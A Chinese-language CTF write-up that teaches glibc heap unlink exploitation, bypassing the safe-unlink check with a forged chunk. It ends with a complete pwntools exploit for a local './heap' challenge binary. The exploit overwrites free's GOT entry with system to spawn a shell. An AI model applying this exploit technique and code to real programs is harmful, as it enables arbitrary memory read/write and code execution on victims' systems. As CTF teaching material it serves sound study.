參考文章:
關(guān)于heap overflow的一些筆記 ? by ETenal
[CTF]Heap vuln -- unlink ? ? ? ? ? by 0xmuhe
0x00 unlink宏
堆chunk的結(jié)構(gòu):
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; ? ? ? ? /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; ? ? ? ? ? ? ? ? ?/* Size in bytes, including overhead. */
struct malloc_chunk* fd; ? ? ? ? ? ? ? ? ? ?/* double links -- used only if free. */
struct malloc_chunk* bk; ? ? ? ? ? ? ? ? ? /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; ? ? /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize; };
其中size的低位1bit記錄前一個(gè)堆塊的使用情況。若使用中,則為1,同時(shí)presize為0暫時(shí)沒什么用(??);若前一個(gè)堆塊已經(jīng)被釋放掉為空閑,則為0,
同時(shí)presize記錄前一個(gè)堆塊的大小,用于從當(dāng)前堆塊計(jì)算前一個(gè)堆塊的起始地址。
執(zhí)行free(某個(gè)堆塊P)時(shí)進(jìn)行如下操作:
1).檢查是否可以向后合并
首先需要檢查 previous chunk 是否是空閑的(通過當(dāng)前 chunk size 部分中的 flag 最低位去判斷),在默認(rèn)情況下,堆內(nèi)存中的第一個(gè)chunk總是被設(shè)置為allocated的,即使它根本就不存在。
如果為free的話,那么就進(jìn)行向后合并:
1)將前一個(gè)chunk占用的內(nèi)存合并到當(dāng)前chunk;
2)修改指向當(dāng)前chunk的指針,改為指向前一個(gè)chunk。
3)使用unlink宏,將前一個(gè)free chunk從雙向循環(huán)鏈表中移除。
前一個(gè) chunk 是正在使用的,不滿足向后合并的條件。
2).檢查是否可以向前合并
在這里需要檢查 next chunk 是否是空閑的(通過下下個(gè) chunk 的flag的最低位去判斷),在找下下個(gè)chunk(這里的下、包括下下都是相對于 chunk first 而言的)的過程中,首先當(dāng)前 chunk+ 當(dāng)前 size 可以引導(dǎo)到下個(gè) chunk ,然后從下個(gè) chunk 的開頭加上下個(gè) chunk 的 size 就可以引導(dǎo)到下下個(gè) chunk 。
如果我們把下個(gè) chunk 的 size 覆蓋為了-4,那么它會(huì)認(rèn)為下個(gè) chunk 從 prev_size 開始就是下下個(gè)chunk了,既然已經(jīng)找到了下下個(gè) chunk ,那就就要去看看 size 的最低位以確定下個(gè) chunk 是否在使用,當(dāng)然這個(gè) size 是 -4 ,所以它指示下個(gè) chunk 是空閑的。
在這個(gè)時(shí)候,就要發(fā)生向前合并了。即 first chunk 會(huì)和 first chunk 的下個(gè) chunk (即 second chunk )發(fā)生合并。在此時(shí)會(huì)觸發(fā) unlink(second) 宏,想將 second 從它所在的 bin list 中解引用。
unlink宏:
#define unlink(P, BK, FD) {
?FD = P->fd; ? ? ? ? ? ? ? ?//FD = *P + 8;
?BK = P->bk; ? ? ? ? ? ? ? //?BK = *P + 12;
FD->bk = BK; ? ? ? ? ? ? //? FD + 12 = BK;
?BK->fd = FD; ? ? ? ? ? ?//?? BK + 8 = FD;
}
/*?能操控的就是FD,BK,要注意,F(xiàn)D+12和BK+8都要保證可寫*/
0x01 繞過新glibc防護(hù)進(jìn)行unlink利用
上述unlink方法已經(jīng)被glibc遺棄很久了,現(xiàn)在的unlink使用了如下的檢查機(jī)制
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
? ? ? ?malloc_printerr(check_action,"corrupted double-linked list",P);
else
? ? ? ?{
? ? ? ?FD->bk = BK;
? ? ? ?BK->fd = FD;
? ? ? ?}
}
在脫鏈表時(shí)會(huì)檢查當(dāng)前chunk是否真的在鏈表內(nèi),如果它前驅(qū)的后繼不是自己或者后繼的前驅(qū)不是自己,就直接拋錯(cuò)誤。這使unlink利用變得十分困難(并非不可利用),很快人們就發(fā)現(xiàn),如果找到一個(gè)指向P的指針,精心偽造一個(gè)chunk,使FD->bk和BK->fd=P,這可以通過unlink檢查。在接下來的過程:
FD->bk=BK;
BK->fd=FD;
中這個(gè)指針將被FD覆蓋。

考慮程序功能使用一個(gè)chunk_list來存儲(chǔ)所有malloc申請到的內(nèi)存。(顯然這是很自然的做法,還有一種情況是先申請一個(gè)大的堆塊作為chunk_list,這種情況需要先泄露出chunk_list的地址)
buffer1=malloc(64);
chunk_list[0]=buffer1;
在偽造chunk時(shí),使P->fd=chunk_list-12,P->bk=chunk_list-8,這會(huì)使
FD->bk=chunk_list-12+12=chunk_list
BK->fd=chunk_list-8+8=chunk_list ? ?/*chunk_list指向buffer1
此時(shí)free(buffer2)會(huì)進(jìn)行向后合并,執(zhí)行unlink(buffer1),此時(shí)fd和bk都指向buffer1自己,通過檢查。
最后的結(jié)果就是chunk_list[0]=chunk_list-12。
用戶向申請到的堆塊即向buffer1寫入內(nèi)容時(shí),實(shí)際上是往*(chunk_list[0])里寫,通過向
*(chunk_list[0])=*(chunk_list-12)寫入數(shù)據(jù)12字節(jié)的junk,再寫4字節(jié)將覆蓋chunk_list[0],即chunk_list[0]可控
利用:
1)用戶打印堆塊的data內(nèi)容,實(shí)際上是print ?*(chunk_list[0]),由于chunk_list[0]可控,可以實(shí)現(xiàn)任意地址讀
2)用戶向data中寫入,實(shí)際上是向*(chunk_list[0])中寫入,可以實(shí)現(xiàn)任意地址寫
0x02 偽造chunk

例如,malloc兩個(gè)大小為0x80的堆塊:
chunk0=malloc(0x80)
chunk1=malloc(0x80)
堆塊目前大致像這樣:

一些細(xì)節(jié):
1)malloc一塊0x80大小的內(nèi)存,返回給用戶的指針實(shí)際上指向堆塊的data位置,而在data前面還有presize和size兩個(gè)4字節(jié)的內(nèi)容,所以malloc(N)的實(shí)際的堆塊大小應(yīng)該為N+8。
2)malloc時(shí)總是8字節(jié)對齊的,所以size的低三位被用來作為標(biāo)識(shí)位,最低位標(biāo)識(shí)前一個(gè)堆塊是否使用中,為0則空閑,為1則為使用中。所以size中的值為0x80+8+1。
3)prev_size是前一塊chunk的大小,前提是前一塊chunk狀態(tài)是free,如果前一塊還在被使用,這4個(gè)字節(jié)會(huì)被前一塊chunk共享使用以提高空間使用率。所以此時(shí)chunk1的presize為0。
chunk0的data用戶可以輸入,如果沒有檢查長度輸入可以覆蓋到chunk1的presize和size。

chunk1的size被覆蓋為0x88,低位為0,標(biāo)識(shí)前一個(gè)堆塊chunk0狀態(tài)為free。
fake chunk0大小等于chunk0的data區(qū),大小為0x80
chunk0的fd和bk是可控的。
這時(shí)free(chunk1),發(fā)生向后合并,執(zhí)行宏unlink(chunk0),注意free()通過當(dāng)前堆塊chunk1的地址減去presize來尋址到前一個(gè)堆塊chunk0,由于此時(shí)presize已經(jīng)被我們構(gòu)造成0x80,所以尋找前一個(gè)堆塊時(shí)就會(huì)找到構(gòu)造的fake chunk,從而執(zhí)行unlink(fake chunk),剩下的步驟就按照栗子圖下面的搞起~
0x03 一個(gè)pwn栗子

編輯內(nèi)容的時(shí)候read造成了溢出。
首先新建三個(gè)堆塊:
add(0x80)
add(0x80)
add(0x80)
構(gòu)造fake chunk:
chunk_list=0x08049D60
payload=p32(0x0)+p32(0x81) ? ? ? ? #fake presize & fake size
payload+=p32(chunk_list-0xc) ? ? ? ?#fd
payload+=p32(chunk_list-0x8) ? ? ? ?#bk
payload+=0x70*'A' ? ? ? ? ? ? ? ? ? ? ? ? ? #paddings
payload+=p32(0x80)+p32(0x88)
edit(0,payload)
現(xiàn)在的堆結(jié)構(gòu):

chunk1的size低位為0發(fā)生向后合并
0x8442088通過-presize向前尋址剛好尋址到0x842008,即構(gòu)造的fake chunk。
unlink(fake chunk)檢查:
? ? ? ? ? ? ? ? ? ? fd->bk = *(fd+0xc) = *0x8049d60 = 0x08442008
? ? ? ? ? ? ? ? ? ? bk->fd = *(bk+0x8) = *0x8049d60 = 0x08442008
? ? ? ? ? ? ? ? ? ? fd->bk = bk->fd = fake chunk
unlink(fake chunk)操作:
? ? ? ? ? ? ? ? ? ? FD?= fd;
? ? ? ? ? ? ? ? ? ? BK = bk;
? ? ? ? ? ? ? ? ? ? FD->bk = BK;
? ? ? ? ? ? ? ? ? ? BK->fd = FD;
即:*(0x8049d60)=0x8049d54;

任意地址讀:
edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))
相當(dāng)于做了**(0x8049d60)=payload的操作,即往0x8049d54里寫入長度為12的junk之后,再往0x8049d60里寫入0x8049d54,往0x8049d64里寫入p32(addr),緊接著show(1)打印addr的內(nèi)容,即可完成任意地址讀,可以通過DynELF查找system地址。
任意地址寫:
edit(0,'A'*12+p32(elf.got['free']))
edit(0,p32(system_addr))
0x8049d54里寫入長度為12的junk之后,繼續(xù)就是往0x8049d60里寫入free的got表地址,再次edit(0)就能夠修改got表,把"/bin/sh"作為data寫到一開始分配的第三個(gè)堆塊里,作remove(2)就可以getshell。
附上exp:
from pwn import *
p=process('./heap')
chunk_list=0x08049D60
def leak(addr):
edit(0,'A'*12+p32(chunk_list-0xc)+p32(addr))
show(1)
result=p.recv(4)
print "%#x? %s" %(addr,hex(u32(result)))
return result
def add(size):
p.recvuntil('5.Exit')
p.sendline('1')
p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(size))
def edit(index,data):
p.recvuntil('5.Exit')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def remove(index):
p.recvuntil('5.Exit')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))
def show(index):
p.recvuntil('5.Exit')
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
e=ELF('./heap')
add(0x80)
add(0x80)
add(0x80)
payload=p32(0x0)+p32(0x81)? #fake presize? & fake size
payload+=p32(chunk_list-0xc) #fd
payload+=p32(chunk_list-0x8) #bk
payload+=0x70*'A'? ? ? ? ? ? ? ? ? ? ? ? ? ? #paddings
payload+=p32(0x80)+p32(0x88)
#gdb.attach(p,'b* 0x8048702')
edit(0,payload)
remove(1)
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print "system address: ",hex(system_addr)
edit(0,'A'*12+p32(e.got['free']))
edit(0,p32(system_addr))
edit(2,'/bin/sh')
remove(2)
p.interactive()